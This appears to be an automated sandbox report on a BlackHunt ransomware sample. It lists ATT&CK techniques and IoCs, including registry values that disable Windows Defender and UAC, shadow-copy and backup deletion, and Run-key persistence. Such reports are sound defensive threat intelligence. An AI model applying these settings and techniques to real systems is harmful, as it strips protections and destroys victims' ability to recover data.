8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a

Data Destruction

T1485

pid	Process
5592	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5804	bcdedit.exe
5872	bcdedit.exe

Renames multiple (523) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5820	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\H:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\X:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\Q:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\V:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\B:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\L:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\M:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\W:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\Y:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\A:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\J:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\T:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\N:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\U:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\R:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\G:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\K:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\O:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\P:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\S:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened (read-only)	\??\Z:	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\local_policy.jar	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\jvm.cfg	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages.properties	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\tzmappings	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\fonts\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jaccess.jar	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklisted.certs	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\zipfs.jar	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_es.properties	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javaws.jar	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\dom.md	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_Private.key	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4248	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5732	vssadmin.exe
5752	vssadmin.exe
5956	vssadmin.exe
5892	vssadmin.exe
5492	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeRestorePrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeBackupPrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeTakeOwnershipPrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeAuditPrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeSecurityPrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeIncBasePriorityPrivilege	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Token: SeBackupPrivilege	5928	vssvc.exe
Token: SeRestorePrivilege	5928	vssvc.exe
Token: SeAuditPrivilege	5928	vssvc.exe
Token: SeBackupPrivilege	5312	wbengine.exe
Token: SeRestorePrivilege	5312	wbengine.exe
Token: SeSecurityPrivilege	5312	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 2264	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	88
PID 4380 wrote to memory of 2264	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	88
PID 4380 wrote to memory of 3416	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	90
PID 4380 wrote to memory of 3416	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	90
PID 4380 wrote to memory of 2936	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	91
PID 4380 wrote to memory of 2936	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	91
PID 4380 wrote to memory of 2076	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	94
PID 4380 wrote to memory of 2076	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	94
PID 4380 wrote to memory of 4536	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	95
PID 4380 wrote to memory of 4536	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	95
PID 3416 wrote to memory of 1932	3416	cmd.exe	98
PID 3416 wrote to memory of 1932	3416	cmd.exe	98
PID 4380 wrote to memory of 4736	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	100
PID 4380 wrote to memory of 4736	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	100
PID 2264 wrote to memory of 4120	2264	cmd.exe	171
PID 2264 wrote to memory of 4120	2264	cmd.exe	171
PID 4380 wrote to memory of 2800	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	102
PID 4380 wrote to memory of 2800	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	102
PID 4380 wrote to memory of 2136	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	104
PID 4380 wrote to memory of 2136	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	104
PID 4380 wrote to memory of 3028	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	106
PID 4380 wrote to memory of 3028	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	106
PID 4380 wrote to memory of 4980	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	109
PID 4380 wrote to memory of 4980	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	109
PID 4380 wrote to memory of 2448	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	112
PID 4380 wrote to memory of 2448	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	112
PID 4380 wrote to memory of 2176	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	110
PID 4380 wrote to memory of 2176	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	110
PID 4380 wrote to memory of 4524	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	118
PID 4380 wrote to memory of 4524	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	118
PID 4380 wrote to memory of 3756	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	113
PID 4380 wrote to memory of 3756	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	113
PID 4380 wrote to memory of 2660	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	115
PID 4380 wrote to memory of 2660	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	115
PID 2936 wrote to memory of 1680	2936	cmd.exe	120
PID 2936 wrote to memory of 1680	2936	cmd.exe	120
PID 4380 wrote to memory of 3180	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	121
PID 4380 wrote to memory of 3180	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	121
PID 4380 wrote to memory of 4068	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	142
PID 4380 wrote to memory of 4068	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	142
PID 4380 wrote to memory of 3792	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	141
PID 4380 wrote to memory of 3792	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	141
PID 4380 wrote to memory of 1968	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	123
PID 4380 wrote to memory of 1968	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	123
PID 4380 wrote to memory of 3120	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	140
PID 4380 wrote to memory of 3120	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	140
PID 4380 wrote to memory of 4968	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	125
PID 4380 wrote to memory of 4968	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	125
PID 4380 wrote to memory of 924	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	127
PID 4380 wrote to memory of 924	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	127
PID 2076 wrote to memory of 3660	2076	cmd.exe	186
PID 2076 wrote to memory of 3660	2076	cmd.exe	186
PID 4380 wrote to memory of 1312	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	128
PID 4380 wrote to memory of 1312	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	128
PID 4536 wrote to memory of 4480	4536	cmd.exe	129
PID 4536 wrote to memory of 4480	4536	cmd.exe	129
PID 4380 wrote to memory of 3944	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	134
PID 4380 wrote to memory of 3944	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	134
PID 4380 wrote to memory of 3700	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	133
PID 4380 wrote to memory of 3700	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	133
PID 4380 wrote to memory of 4752	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	132
PID 4380 wrote to memory of 4752	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	132
PID 4380 wrote to memory of 2836	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	151
PID 4380 wrote to memory of 2836	4380	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe	151

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe
"C:\Users\Admin\AppData\Local\Temp\8f59651ebc760205a732ec68d35dfab0177bf511fc93e31afd8dfb23d065c22a.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
